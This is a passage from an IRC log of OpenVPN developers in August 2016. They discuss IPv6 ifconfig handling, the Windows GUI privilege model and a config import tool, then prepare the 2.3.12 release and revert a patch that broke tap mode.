.. it is done .. by manually specifying ipv6 addr + rout I have removed tje spurious /64 routes .. as far as I can tell the problem is that OPENVPN does *not* send the netbits to the netsh.exe when assigning the addr to the interface. 18:58 < mollox> I *must* to use --pull-filter ignore "ifconfig-ipv6 " to stop exec of ifconfig-ipv6 19:00 < mollox> i think the manual ought to mention some details of what --ifconfig-noexec does not d#o with ipv6 --- Day changed Wed Aug 17 2016 07:48 <@mattock> I forked xkjyeah/openvpnserv2 to the OpenVPN organization: https://github.com/OpenVPN/openvpnserv2 07:48 <@vpnHelper> Title: GitHub - OpenVPN/openvpnserv2: OpenVPN service rewrite (at github.com) 08:22 <@ecrist> mattock: ping 08:23 <@ecrist> looks like the Windows code signing cert expires on Sep 2nd 08:23 <@ecrist> someone in the main channel is asking for the new fingerprints 08:27 <@mattock> yes, we need to get a new cert 08:27 <@mattock> I will remind raidz about it 08:28 <@ecrist> Thanks. I'll let the user know we don't have a new cert yet. 08:48 <@mattock> ok, notified raidz and others 08:49 <@mattock> ah, so many Windows-specific Trac tickets I can close, thanks to Selva's great work 08:49 <@mattock> I can only take a bit of the credit 09:56 <@cron2> mollox: --ifconfig-noexec *does* work for IPv6. Check the logs 09:56 <@cron2> (there is only one common "do ifconfig now!" function for IPv4 and IPv6, and this is not called if --ifconfig-noexec is specified - see init.c in the main source) 11:18 <@raidz> Hey guys, I actually renewed it last week for 3 years 11:38 <@ecrist> raidz: MrNice is looking for the fingerprint for it in the main channel 14:52 <@cron2> mattock, dazo: you've been quite busy while I was packing the car and driving around :-) 14:56 <@dazo> heh 14:57 <@cron2> (... in other words: tomorrow I won't be able to do much e-mailing either - late in the evening a bit, but maybe not even that - so patience :) ) --- Day changed Thu Aug 18 2016 01:21 <@vpnHelper> RSS Update - gitrepo: Deprecate the automatic part of openvpnserv.exe in favor of openvpnse… <https://github.com/OpenVPN/openvpn/commit/6dd307c8640d851c6241a27f434c53a6aee0cace> 05:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 10:33 <@mattock> raidz: oh the code-signing cert? nice! 16:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:30 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Fri Aug 19 2016 07:55 <@cron2> huh 07:56 <@cron2> IV_GUI_VER=OpenVPN_GUI_10 07:56 * cron2 has missed that we do send this these days - cool :) 08:02 <@vpnHelper> RSS Update - tickets: #723: --ifconfig-noexec combined with IPv6 behaviour <https://community.openvpn.net/openvpn/ticket/723> 09:45 < mollox> cron2: re- https://community.openvpn.net/openvpn/ticket/723#comment:2 09:45 <@vpnHelper> Title: #723 (--ifconfig-noexec combined with IPv6 behaviour) – OpenVPN Community (at community.openvpn.net) 09:45 < mollox> I created the trac ticket to save you some time and post my details 09:45 < mollox> what ever the final fix or whatever is .. i can wait 09:46 < mollox> I also linked to your email via sourceforge at the top of the trac 11:48 <@plaisthos> cron2: is that our windows ui? 14:38 <@cron2> plaisthos: not sure. Need to find out who is using that account, it was one of the "role accounts" we use at $customer 14:39 <@cron2> but I assume it is - IV_VER is 2.3.11, which makes it "not connect" --- Day changed Sat Aug 20 2016 01:55 -!- Netsplit *.net <-> *.split quits: @dazo 01:55 -!- Netsplit over, joins: dazo 01:55 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:27 < valdikss> Hi guys 08:28 < valdikss> Q1: who is in charge of mail list? Can it be reconfigured to support DMARC? Right now my messages are rejected or going into SPAM as from the email server perspective "somebody" (mail list) sends emails using my email domain in the FORM field. 08:29 < valdikss> Q2: The thing which I believe is really needed for OpenVPN GUI is a simple configuration import tool. You should be able to double click on .ovpn file and import it without a hassle. I can do such utility. Any opinions? 08:32 < valdikss> Q3: One VPN service wants me to make an open source GUI for Windows and Linux. If I'm going to do it, I'm planning to make it as generic as possible with module customization, it could be used with generic OpenVPN for generic configuration. But it would be in Python3 with Qt5. Any opinion? 10:06 <+krzee> valdikss: what would an import tool do other than move the configs to the config directory? 10:30 < valdikss> krzee: nothing! It would do exactly this. 10:30 < valdikss> krzee: I would like to click on .ovpn file from email client and see a dialog like "would you like to import this configuration file?" 11:12 <+krzee> if you do it, maybe even have it offer the user the choice of having it run from service or gui (they already have the choice whether they know it or not, but this would tell them, and set service to auto if told to) --- Day changed Mon Aug 22 2016 04:23 <@syzzer> dazo: yes - though not permamently checking irc 04:28 <@dazo> syzzer: I just want you to have a look at the BF warning patch and the slight fixes I did ... needed to even compile on RHEL7 04:29 <@dazo> syzzer: https://paste.fedoraproject.org/412409/18580731/ ... look at line 161-162, 175-176, 215 and 222 04:32 <@syzzer> dazo: looks good 04:37 <@dazo> plaisthos: ^^^ If you don't mind, I'll keep your ACK and push it out now 04:37 <@dazo> "now" (need a similar step for the release/2.3 branch) 06:11 <@mattock> remember the meeting today: https://community.openvpn.net/openvpn/wiki/Topics-2016-08-22 06:11 <@vpnHelper> Title: Topics-2016-08-22 – OpenVPN Community (at community.openvpn.net) 06:11 <@mattock> the OSTIF guy (Derek) will be attending also 06:39 <@cron2> mattock: I'll join, but most likely won't make it on time but maybe half an hour late or so 07:04 <@mattock> cron2: ok, that's fine 07:04 <@mattock> btw. on requests of valdikss I added some topics, should we have time: https://community.openvpn.net/openvpn/wiki/Topics-2016-08-22 07:04 <@vpnHelper> Title: Topics-2016-08-22 – OpenVPN Community (at community.openvpn.net) 07:05 <@mattock> patches from the mailing list which may have been forgotten about 07:05 <@cron2> he already got a NAK for those from Dazo, if I remember that correctly 07:05 <@cron2> but I'm happy to add another NAK 07:06 <@cron2> (I'm not sure about the feature part of the ACK/NAK, but the code part definitely is not right - for a trivial change we do not want *three* commits, which then leaves out all the other platforms) 07:07 < valdikss> cron2: did you get my reply on that? 07:07 <@cron2> even if we accept these changes, his setup pushing 10.000s of routes would still break --up scripts (because "environment to big") 07:08 <@cron2> valdikss: not sure, but I have no time right now to check 07:08 < valdikss> cron2: I have DMARC with p=reject on my domain and when sourceforge malilist sends everyone email from my address in FROM field the message might got into SPAM 07:09 < valdikss> cron2: that's fine, I'm happy as long as it works without up script. 07:09 <@cron2> valdikss: ah. I do not filter on DMARC, because i consider this a most idiotic idea invented by people that consider "yahoo groups" all anyone could want for a mailing list 07:09 <@cron2> valdikss: yes, but that makes the patch unsuitable for our code base 07:09 < valdikss> cron2: right now it's completely broken in OS X and low-end Linux. 07:10 <@cron2> either it's done in a generic way that makes sense across all features and platforms, or you need to maintain a local branch 07:10 < valdikss> cron2: why? I mean, it's fine for me if we would skip environment only for route/iproute2 but not --up scripts 07:10 <@cron2> what I could see as making sense here is a flag "--route-no-env" or the like which will stop putting routes into the environment 07:10 < valdikss> cron2: It won't break --up scripts and I don't care about them, so it's fine for me. 07:11 <@cron2> valdikss: "fine for me" is not good enough for the main repo 07:11 <@cron2> and "I don't care" doubly so 07:12 < valdikss> cron2: sorry, I meant that if we would not pass route env for route/ip route commands, would it be fine? It won't break --up scripts but would work for me. 07:12 < valdikss> cron2: I meant that I don't use --up scripts and my users also don't use them. That approach would fix the issue for me yet won't break --up scripts 07:13 <@cron2> valdikss: I heard what you said, but your patch introduces an asymmetry into the code, and might break other people's usage (someone might call an "ip" binary that is a script that *wants* these environment variables) 07:14 <@cron2> see above for a suggestion how to handle this in a way that doesn't change user-visible behaviour, will also not break --up scripts if one of your users *wants* to use it, and works on all platforms at once 07:17 < valdikss> cron2: >someone might call an "ip" binary that is a script that *wants* these environment variables 07:17 < valdikss> cron2: Is it really the case? ip binary is called in a loop and routes are passed as arguments. 07:17 <@cron2> Every time we change user-visible behaviour, *someone* comes up with a use case that we've not considered, and which is now broken 07:18 <@cron2> so, "just leave off the environment on *three* platforms, while keeping it everywhere else" is definitely a no-go 07:19 <@cron2> we might consider verifying which environment variables are truly needed across all platforms, and call route/iproute/ifconfig with a limited subset only - but that would go along with actually *asking* people on the -devel and -users list 07:20 < valdikss> cron2: all right, I understood you 07:21 <@cron2> and then, please make it only one patch, not 3 :) 08:01 <@dazo> cron2++ 08:02 <@d12fk> that's cron3 in this line *scnr* 08:02 <@dazo> hahaha 08:03 <@dazo> d12fk: but you're wrong ... if cron2 is a variable, it doesn't increment the variable name ;-) 08:05 -!- cron2 is now known as cron3 08:24 <@mattock> wow, cron3 08:24 <@mattock> third-level cron - RUN! 08:30 <@cron3> indeed, I'll do :-) - need to go shopping, find some nice meat for barbecue tonight, and then will be back :-) 08:41 <@syzzer> enjoy! 09:01 <@dazo> cron3: As you've enhanced your nick ... here's an enhancement to our git add-on utilities ... git-regen-ackmsg .... https://paste.fedoraproject.org/412466/74418147/raw/ 09:03 <@dazo> Example: $ git regen-ackmsg release/2.3~2 09:28 <@d12fk> dazo_ smartass. this is not C but my own esoteric language =P 09:29 <@d12fk> It increments variable names instead of values, very useful for self modifying code 09:29 <@d12fk> e.g. cron2++ -> cron3, cr1on2++ -> cr2on3 09:32 <@ecrist> d12fk-- -> d11fk 09:32 <@ecrist> or d01fk 09:32 <@d12fk> hehe 09:35 <@d12fk> this also works for word if there's no integer in them, e.g. big++ -> bigger 09:35 <@d12fk> biggest++ -> ultrabig 09:36 <@d12fk> d01fk is octal btw ;-) 09:37 <@d12fk> 7x d01kf++ == d010fk 09:37 <@d12fk> is it friday already?! 09:37 * syzzer shrugs. This gives me flashbacks to string/integer conversion and operations in php... 09:38 <@d12fk> hehe, yet another esoteric language 09:39 <@ecrist> I like PHP, but it's made me lazy wrt to typing 10:12 <@dazo> hehe 10:14 * dazo wonders where plaisthos is hiding 12:40 <@dazo> Hmmmm ... when we add URLs in Trac to patches ... we should also add Message-ID :/ .... lot's of gmane.org links borken now 12:54 <@ecrist> you know, we could start hosting our own mail server archive, couldn't we? 12:54 <@ecrist> s/server/list/ 12:55 <@syzzer> ecrist: is there good software available for that? 13:07 <@ecrist> pipermail works 13:07 <@ecrist> i'll look into it 13:09 <@mattock> ecrist: great! 14:55 <@vpnHelper> RSS Update - tickets: #724: Try to export SF.net mail archives to mail-archive.com <https://community.openvpn.net/openvpn/ticket/724> 15:03 <@mattock> ecrist: your pipermail plan got into the meeting summary 15:03 <@mattock> just so that you know :) 15:21 <@cron3> dazo: please do not merge the "Fix problems with NCP and --inetd" patch yet, I'm resending a v2 15:21 <@cron3> wrapping the message strings 15:26 <@cron3> syzzer: Subject: [PATCH v2] Fix problems with NCP and --inetd. 15:34 <@dazo> cron3: I was about to suggest I could do that on-the-fly 15:49 <@cron3> fine with me 15:50 <@cron3> in any case - the code is the same, it just looks different, and it fixes my --inetd test server :-) 15:50 <@cron3> (yes, I run one, which uncovers interesting bugs all the time :)) ) 15:57 <@dazo> I'll have a look at the v2 patch more carefully tomorrow, cron3 ... and then syzzer have had a chance to respond too. The NCP stuff is for master only, right? 15:57 <@cron3> yes 15:57 <@cron3> and not particularily urgent, can be done after 2.3.12 is done 15:58 <@dazo> goodie, then I think I have everything ready for a push tomorrow 15:59 <@dazo> alright, I'll call it a day today :) 15:59 <@cron3> g'night --- Day changed Tue Aug 23 2016 03:04 <@mattock> here's a start of the "Windows testing" wiki page: https://community.openvpn.net/openvpn/wiki/WindowsTesting 03:04 <@vpnHelper> Title: WindowsTesting – OpenVPN Community (at community.openvpn.net) 03:04 <@mattock> it is linked to from the "OpenVPN QA" page 03:14 <@mattock> dazo: it seems exporting a mbox file from sf.net is trivial 03:14 <@mattock> for mailing list archives 03:15 <@mattock> as long as mail-archive.com does not choke on duplicate emails (=the recent ones that are both in sf.net and mail-archive.com) things should go smoothly 03:15 <@mattock> https://community.openvpn.net/openvpn/ticket/724#comment:1 03:15 <@vpnHelper> Title: #724 (Try to export SF.net mail archives to mail-archive.com) – OpenVPN Community (at community.openvpn.net) 04:11 <@dazo> mattock: cool! 04:12 <@dazo> If you send me the latest mbox file, I can clean it up and remove what's already in mail-archive.com, just to be safe 04:12 <@dazo> (shouldn't be that many mails) 04:14 <@dazo> (I'm not allowed to access these mbox files though, not a sf.net project admin) 04:26 <@mattock> dazo: I'll see if I can compress it to be smaller (84MB or so) 04:27 <@mattock> now it's 19MB 04:28 <@mattock> does your email provider allow emails that big? 04:51 <@dazo> mattock: 19MB * 33% (due to base64 encoding) ... I think that will be blocked ... but just a sec, I'll open a side channel for you 04:51 <@mattock> lev or valdikss: can you have a look at this: https://community.openvpn.net/openvpn/ticket/669 ("Spelling error in Russian l10n") 04:51 <@vpnHelper> Title: #669 (Spelling error in Russian l10n) – OpenVPN Community (at community.openvpn.net) 04:53 <@vpnHelper> RSS Update - tickets: #725: Consider to add FIPS support in OpenVPN <https://community.openvpn.net/openvpn/ticket/725> 04:54 <@dazo> mattock: see PM and your XMPP account 05:16 < valdikss> mattock: I believe it has been fixed long ago 05:16 < valdikss> mattock: let me check 05:17 < valdikss> mattock: https://github.com/OpenVPN/openvpn-gui/commit/b5b00c272674233c5c951c0e473f2341065a9fc4 05:17 <@vpnHelper> Title: russian language fixes · OpenVPN/openvpn-gui@b5b00c2 · GitHub (at github.com) 05:19 < valdikss> mattock: Version is 2.2.2 in that bug report. Probably that guy uses very outdated version. 05:45 <@vpnHelper> RSS Update - gitrepo: Fix problems with NCP and --inetd. <https://github.com/OpenVPN/openvpn/commit/d90249f73353c175ed9e7dd0a450cd084a729e20> || Drop recursively routed packets <https://github.com/OpenVPN/openvpn/commit/e9d64bc03742c96a3d7fe2a473c43d40e5ba2001> || Discourage using 64-bit block ciphers <https://github.com/OpenVPN/openvpn/commit/c94b3ff0f5f1dbd4949f18f69ed3611f82a29021> 06:40 < valdikss> cron3: guess what? It's OpenVPN installer which associates .ovpn files with notepad.exe. 07:07 <@mattock> see https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/openvpn.nsi#L334 07:07 <@vpnHelper> Title: openvpn-build/openvpn.nsi at master · OpenVPN/openvpn-build · GitHub (at github.com) 07:07 <@mattock> WriteRegStr HKCR "${PACKAGE_NAME}File\shell\run" "" "Start ${PACKAGE_NAME} on this config file" 07:07 <@mattock> WriteRegStr HKCR "${PACKAGE_NAME}File\shell\run\command" "" '"$INSTDIR\bin\openvpn.exe" --pause-exit --config "%1"' 07:08 <@mattock> WriteRegStr HKCR "${PACKAGE_NAME}File\shell\open\command" "" 'notepad.exe "%1"' 07:08 <@mattock> I'm not sure what the difference between "open" and "run" is in practice, but the above looks reasonable 07:09 <@mattock> what Windows does in practice could be something else 07:11 <@cron3> valdikss: interesting find... so it's intentional, double-clicking will give you an editor, but there is a run-with command that does what I expected 07:12 <@cron3> maybe we could extend that to also offer "import" 07:15 < valdikss> cron3: it should be by default I believe. You generally can't get right-click menu on the files from mail or something. 07:15 <@cron3> (I've learned that windows actually has very nice things to offer, unfortunately neither most admins nor most software developers have any clue...) 07:15 < valdikss> cron3: I think I'll patch openvpn-gui to add import functionality in several days 07:15 <@cron3> valdikss: yeah, as long as some way to easily *edit* remains 07:15 < valdikss> cron3: sure, I won't remove anything 07:19 <@mattock> valdikss: excellent, waiting for your patches then! 07:21 < valdikss> mattock: cron3: At some point somebody discussed in the mail list a functionality to store configuration files in the user folder, not only in Program Files/OpenVPN/config. Was it implemented? 07:21 <@mattock> it has been implemented already, yes 07:22 <@mattock> feel free to test latest snapshots - the GitHub page for OpenVPN-GUI has all the basic information regarding that functionality 07:22 * cron3 has totally lost track of the wonders Selva and Mattock brought us :-) - but this is good to hear 07:22 <@mattock> OpenVPN-GUI no longer sucks much 07:23 <@mattock> plus I've been able to close tons of Windows tickets due to openvpnserv2 and Selva's modifications to OpenVPN-GUI + Interactive Service 07:23 <@cron3> I've seen a number of them, and it makes me happy :-) 07:25 < valdikss> mattock: so I suppose import tool should import config to the user folder? 07:26 <@cron3> I think we should give the user the choice (only openvpn admins can run configs from the user folder with elevated privs anyway) 07:27 < valdikss> cron3: wait, what? 07:28 < valdikss> cron3: Can't I copy config to the user dir and run it if I'm not using administrator account? 07:28 <@cron3> the iservice permits "configs in the system folder" to be run by all windows users, and "configs in the user folder" (with iservice rights) for those in the admin group 07:28 <@cron3> "openvpn admin" is a separate group 07:28 <@mattock> yeah 07:28 <@cron3> not "Administrator" 07:28 < valdikss> cron3: I find this very strange. 07:29 < valdikss> cron3: Well, I suppose by default non-admin users are not included in OpenVPN admin group, right? 07:29 <@cron3> this is the only thing that make sense :-) - if the system administrator wants to give you full openvpn access, he'll put you in the openvpn admin group. If not, he'll install the .ovpn files that you need in the system directory, and you can use them, but not change them. 07:30 <@cron3> mattock: can you help out here? I'm not exactly sure I remember the details correctly. The GUI can also put users in the openvpn admin group, but I'm not exactly sure what to do to make this happen 07:31 <@mattock> I can't recall the exact details anymore, let's see the GitHub PRs... 07:34 <@cron3> I think we need a wiki/faq page that explains how the iservice works, and how privileges and groups work... 07:35 <@cron3> mattock: can you create a page (so we know where to put that stuff) and a trac ticket with milestone 2.4.0 so we do not forget to write that document? 07:35 <@mattock> I think extending the README.rst would do the trick? https://github.com/OpenVPN/openvpn-gui 07:35 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-gui: OpenVPN GUI is a graphical frontend for OpenVPN running on Windows XP / Vista / 7 / 8. It creates an icon in the notification area from which you can control OpenVPN to start/stop your VPN tunnels, view the log and do other useful things. NOTE: the code is forked from the official OpenVPN-GUI Git repository: http://sourceforge.net/p/openvpn-gui (at github.com) 07:36 <@mattock> it already contains most of what is needed I think 07:36 <@cron3> it would be a good place to put that stuff, yes. So we just need a easily-found pointer there... 07:36 <@mattock> yep, perhaps add a pointer to the README that comes with Windows installers? 07:37 <@cron3> that, and also to our FAQ, I think (the README is usually looked at and immediately forgotten :) ) 07:40 < valdikss> cron3: mattock: I can create PPTP, L2TP, SSTP or IPsec connection on Windows 7 with usual (non-administrator) account. I'd like this to be true for OpenVPN too. 07:41 < valdikss> cron3: mattock: OpenVPN user with usual non-admin account in my opinion should be able to import ovpn file to the user directrory and be able to connect to it by default. 07:41 <@cron3> valdikss: no :) 07:42 < valdikss> cron3: why? 07:42 <@cron3> we decided after quite a bit of discussion that we want a staggered privilege model, which also works in enterprise environments - where you just cannot have any arbitrary user fiddle with VPN stuff 07:43 <@cron3> on installation, the current installers will offer to add the installing user to the openvpn admin group -> done 07:43 < valdikss> cron3: Let's make the group which prohibits using OpenVPN 07:43 < valdikss> cron3: or include all the current users and new users in this group by default. 07:44 <@cron3> valdikss: this is not how security works. (and we do not need to discuss this anymore, the discussion has been made) 07:44 < valdikss> cron3: Are we talking about security? 07:45 <@cron3> yes 07:45 <@cron3> if you do not want security, install the gui as [X] run with admin privs and do what you want :) 07:45 <@cron3> like, 2.3.x style 07:46 < valdikss> cron3: I mean, Windows allows VPN connections to be created and used by the non-privileged users but allows administrators to disable this functionality for selected users. I don't see a reason why OpenVPN should invert this. 07:46 <@cron3> valdikss: this is not a reasonable security model, and just because windows does silly things, we're not going to copy this 07:48 <@cron3> (also, you should just try this - how many windows machines do you have that truly have multiple users on it that *all* need to *admin* VPN sessions?) 07:48 < valdikss> cron3: I believe every network management utilities I saw behave like this. You can, as a non-administrator, create your VPN connection and connect to it in Linux (networkmanager) and OS X. 07:48 <@cron3> you cannot with Tunnelblick 07:48 < valdikss> cron3: I talk about built-in protocols and software. 07:49 <@cron3> I'm not sure about OS X, but it would surprise me - it is normally quite good in not permitting system-level changes to non-admin users 07:49 <@cron3> but you can stop argueing: this decision has been made, and we're not going to change it for 2.4 07:52 <@dazo> cron3: git trees pushed ... should we start the release machinery for 2.3? 07:52 <@cron3> dazo: go for it! 07:53 <@dazo> cron3: you've done most of the releases ... can you update me on the process you've done? 07:53 <@cron3> (how smart is your ack-am script nowadays, as in, do you have to do master+release/2.3 manually or is this "one go" now?) 07:53 <@cron3> dazo: I learned it from the best :-) - wait a moment 07:53 <@dazo> just updating changelog, version tags and such ... and do 'make dist'? 07:55 <@cron3> my checklist says: version.m4, ChangeLog, commit wiht "preparing release...", git tag, push-all, push-all --tags 07:55 <@dazo> git-ack-am ... I used that script to do the mailing for your patch today ... as the others where added yesterday, I had my new git-regen-ackmsg (which I'ved improved a bit more since yesterday too) to the stuff for syzzer and lev__'s patches 07:55 <@cron3> I never did "make dist", that's mattock's doing 07:55 <@dazo> ahh :) 07:55 <@mattock> yeah, I can do that 07:55 <@mattock> I will have to sign the files anyways 07:55 <@dazo> Cool, I'll get the ball rolling then 07:56 <@cron3> the tag goes to the "preparing release" commit 07:56 <@dazo> yeah 07:57 * dazo pokes at commit 6d83573817741c1a306d514063ecceb99d15c3df as a double check 07:58 <@cron3> righto 08:00 <@dazo> should we add a note to Changes.rst regarding deprecation of BF++? 08:00 <@dazo> syzzer: ^^^ 08:00 <@cron3> I think this makes sense, in the circumstances 08:00 <@cron3> Changes.rst is good for users, but amazingly painful in keeping updated 08:01 <@dazo> yeah 08:06 <@dazo> cron3: mattock: syzzer: Looking good? https://paste.fedoraproject.org/412856/57536147/ 08:06 <@dazo> (valid for 30 min) 08:07 <@mattock> yes 08:14 <@cron3> mmmh, why do all my buildslaves fail test 4 and 4b... looks like this particular server process isn't running 08:19 <@mattock> I have to create a "release/2.3" branch to openvpn-build, because most of the more recent commits contain stuff that is suitable for openvpn-2.4, but not openvpn-2.3 08:20 <@cron3> I thought you long did that? 08:20 <@mattock> HEAD at 42aed3b6e12672 ("Revert "Fail if trying to run I60x installer on Windows XP") 08:20 <@mattock> apparently I did not, just talked about it 08:24 <@cron3> huh. test 4/4b is "tap", and that is broken in surprising ways right now... 08:26 <@cron3> and it's not the reference server (going back a few revisions makes it work again) 08:27 * cron3 goes bisect... 08:28 <@mattock> uh 08:28 <@cron3> dazo: please run a tap test on 2.3 before releasing 08:29 <@cron3> (t_client test to our reference server is good enough) 08:33 <@cron3> wtf... this is Lev's patch (e9d64bc03 in master) 08:35 <@cron3> testing release/2.3... 08:37 <@cron3> dang 08:38 <@cron3> we need to back this out again, 2.3 is also broken on --dev tap 08:38 <@mattock> interesting... I suppose lev's company has not use for --dev tap and thus did not notice this in "normal use" 08:38 <@mattock> +1 on revert and move on 08:39 <@mattock> good we have automated testing, even it is "post commit" 08:39 <@mattock> people would have screamed like hell about this 08:39 <@cron3> I wonder what is going on there, because the code doesn't look like it should ever break packets (which it does!), it should just log-and-drop on the client side 08:40 <@cron3> yeah, this was a bit "we could do better"... (I usually run "make check" locally, but didn't in this case) 08:41 < valdikss> https://i.imgur.com/nztrs7M.png 08:41 < valdikss> I tried to reboot twice. 08:41 <@syzzer> wow, good that you caught this 08:42 < valdikss> Today's snapshot. 08:42 <@syzzer> dazo: the Changes.rst needs a heading consistent with the other releases 08:42 <@mattock> valdikss: ok, I see 08:42 <@syzzer> I think in this case "Security" 08:42 < valdikss> https://i.imgur.com/WvpQS9o.png 08:43 < valdikss> And the GUI crashes if I try to connect. 08:43 <@mattock> valdikss: I'll dig into that tomorrow, 2.3.12 will eat my time for today 08:43 < valdikss> https://i.imgur.com/CR2yQiR.png 08:44 <@mattock> what does it say? 08:44 < valdikss> mattock: that's a generic crash message 08:44 <@mattock> ok 08:45 < valdikss> mattock: the time is hex-encoded for some reason 08:45 <@mattock> the snapshot build process is fully automated, so breakages are to be expected 08:45 < valdikss> mattock: 57bc36db is a "timestamp" 08:45 <@cron3> dazo: sorry for ACKing that patch without rigorously testing my own sets. I expected that it would work, and it "looked ok", but seems nobody tested tap mode with it 08:47 <@cron3> aw shit 08:47 <@cron3> /* IP version is stored in the same bits for IPv4 or IPv6 header */ 08:47 <@cron3> if (OPENVPN_IPH_GET_VER (ih->version_len) == ip_ver) 08:47 <@cron3> return buf_advance (buf, offset); 08:47 <@cron3> so in tap mode, it breaks the buffer 08:47 <@mattock> cron3: did you revert already? 08:47 <@cron3> no 08:47 <@mattock> good 08:48 <@cron3> I'm not touching repos today, just running tests 08:48 <@cron3> (ssh'ing home via UMTS and kids that interrupt every 5 minutes is not good for "touching official repos") 08:50 <@mattock> indeed :) 08:51 <@mattock> can we get the repo fixed and tagged today, or should I start the release machinery tomorrow morning my time? 08:51 <@cron3> so, issue spotted - so now I understand why it breaks, and we can't fix it "in 5 minutes", so "revert it is" - sorry. 08:51 * cron3 feels sheepish 08:52 <@mattock> I can't promise I can make the release today, but tomorrow morning at latest 08:52 <@mattock> it takes a fair bit of time with all the packages and jumps and hoops 08:52 <@cron3> mattock: "git revert 122469f5a" would fix release/2.3 nicely :-) - dazo just needs to do it before tagging 08:52 <@mattock> dazo: can you do ^^^ 08:53 < valdikss> cron3: mattock: can you please elaborate how OpenVPN 2.4 should work in a non-enterprise environment without administrator account? Imagine a typical user's PC and a non-admin account, and a VPN service. Would be there a tick in an installer which would add users to the "OpenVPN admins" group and user would be able to copy .ovpns into users directory and connect to it? I'm just not quite sure what do you mean by "security", I suppose 08:53 < valdikss> you're talking about enterprise environment where all the computers are managed in the domain. 08:54 < valdikss> cron3: mattock: Would it be better just to inherit usual VPN group and not to create new OpenVPN admins group? 08:54 <@cron3> valdikss: I told you above: the installer will offer to add the installing user to the openvpn admin group 08:55 <@mattock> well, if there is a generic group then using that is an option 08:55 <@cron3> (I think it already does, or the gui does on first start) 08:57 <@cron3> "generic VPN group" would also work, yes, if that makes sense 08:57 <@cron3> (but this should be discussed on the -devel list, as Selva is not reading here, and he's the driving force on the gui and group changes) 08:59 * cron3 needs to go offline until tonight... "family" 08:59 < valdikss> cron3: mattock: I just want OpenVPN GUI to be usable by a typical end user. To be honest, it was barely usable for years and most VPN providers made their own VPN GUI as it's not normal for a software to work only after you manually tick "run as administrator" right after installation. I want OpenVPN 2.4 to be usable for everyone, not only administrators in enterprise. 09:00 <@dazo> mattock: cron3: I'll revert that patch on release/2.3 09:02 <@mattock> regarding ovpn_admin_group: https://github.com/OpenVPN/openvpn-gui/pull/26 09:02 <@vpnHelper> Title: handle iservice policy restrictions by selvanair · Pull Request #26 · OpenVPN/openvpn-gui · GitHub (at github.com) 09:02 <@mattock> I finally found it 09:03 <@mattock> in particular: https://github.com/OpenVPN/openvpn-gui/pull/26#issuecomment-196092543 09:03 <@vpnHelper> Title: handle iservice policy restrictions by selvanair · Pull Request #26 · OpenVPN/openvpn-gui · GitHub (at github.com) 09:05 <@mattock> valdikss: definitely - I'm just not 100% sure what all the details are, until I've fixed the snapshot installers 09:06 <@dazo> syzzer: thx! Fixed that 09:06 <@dazo> I had a delay as $KID came home from kindergarten and I had to setup a proper PGP key for my openvpn.net account to allow signed tags 09:08 <@mattock> OpenVPN-GUI seems to use UAC to elevate the privileges of the calling user when adding him/her to ovpn_admin_group: https://github.com/OpenVPN/openvpn-gui/pull/26/commits/43d0ef3a5aea4e0f2f18a812c216c59b281b2a08#diff-ac10f8d5a1d494e2c273dc33311c7741R162 09:08 <@vpnHelper> Title: handle iservice policy restrictions by selvanair · Pull Request #26 · OpenVPN/openvpn-gui · GitHub (at github.com) 09:09 <@mattock> "Add current user to the specified group. Uses RunAsAdmin to elevate." 09:15 <@dazo> crap ... I did something wrong with the key setup ... need to come back to this in the evening 09:15 <@dazo> mattock: I can push out an untagged git tree ... release/2.3 (commit 8990b218fa9db717) is what will be tagged once I've cleaned up my key mess 09:16 <@mattock> well, I can definitely build the tarballs based on that commit, and start building packages etc 09:16 <@mattock> the tag does not really matter there 09:16 <@dazo> yeah, that's what I'm thinking too 09:16 <@mattock> I will finish the release tomorrow anyways, so the tags should then be in place 09:16 <@dazo> nope, the tag is just an extra safety to verify the contents of a tarball against a git tree 09:16 <@dazo> yeah, I think so 09:48 <@vpnHelper> RSS Update - tickets: #726: iroute 0.0.0.0 not work and not warning about that <https://community.openvpn.net/openvpn/ticket/726> 10:36 <@mattock> I actually can push out 2.3.12 today - files are already on download servers and apt server 10:36 <@mattock> just some webpage editing and announcements 10:38 <@mattock> dazo, cron2: any release highlights / things you would like to mention in the announcements? 10:40 <@mattock> "This release includes many small improvements and fixes. This is the first release that actively discourages the use of 64-bit block ciphers for security reasons. A full list of changes is available here." 10:53 <@mattock> only the man-page remaining, then we're golden 10:57 <@mattock> ok, done 11:00 <@syzzer> mattock: great! 11:00 <@syzzer> now we just need to get the wiki page sorted out... 11:01 <@mattock> yeah, I can make the text file you sent a wiki page 11:01 <@mattock> then we can edit it 11:02 <@syzzer> I think we should wait with that till tomorrow 11:02 <@mattock> any clue what time? 11:03 <@syzzer> nope, but I guess around 13:00 CEST 11:03 <@mattock> ok, sounds reasonable for me 11:03 <@mattock> now I'll go make some food and eat 11:05 <@syzzer> enjoy! 11:22 <@syzzer> mattock: (after you've finished dinner), would it be hard to also create nightly debian packages from the master branch? 12:04 <@mattock> syzzer: definitely not something I would be able to this night :D 12:04 <@mattock> but it's definitely something I should look into 13:56 * cron3 is back 13:59 <@cron3> dazo: can you please revert master as well? It's broken both in release/2.3 and in master, and I prefer to have a new patch applicable to both than a "new patch v3 for release/2.3, and a bugfix *change* for master, leading to the same final code" 14:00 <@cron3> (it's easier to understand what happened when comparing activity in both branches later on) 14:26 <@cron3> dazo: and please revert this patch from master :-) (I just discovered that it breaks p2p setups, though I do not know why yet) 14:40 <@cron3> found... *sigh*. 14:59 <@dazo> cron3: Okay, will do! 15:00 <@dazo> mattock: git tree is signed as well 15:00 <@cron3> dazo: ah, good timing :-) my test round finished just now 15:00 <@cron3> Test sets succeded: 1 1a 1b 1d 2 2a 2b 3 4 4a 5 8. 15:00 <@cron3> Test sets failed: none. 15:00 <@cron3> PASS: t_client.sh 15:01 <@cron3> All 3 tests passed 15:01 <@cron3> so release/2.3 is in good shape now \o/ 15:01 <@dazo> great! :) 15:01 <@cron3> (it failed "8" before, which is the p2p test - because the *server* crashed after being auto-upgraded at 6pm every day... :) ) 15:02 <@dazo> ahh 15:02 <@cron3> I have a test server that does a "git fetch ; rebase master ; start server processes ; ssh $client 'run t_client'" every day 15:03 <@cron3> that helps uncover weird stuff like "p2p server" or 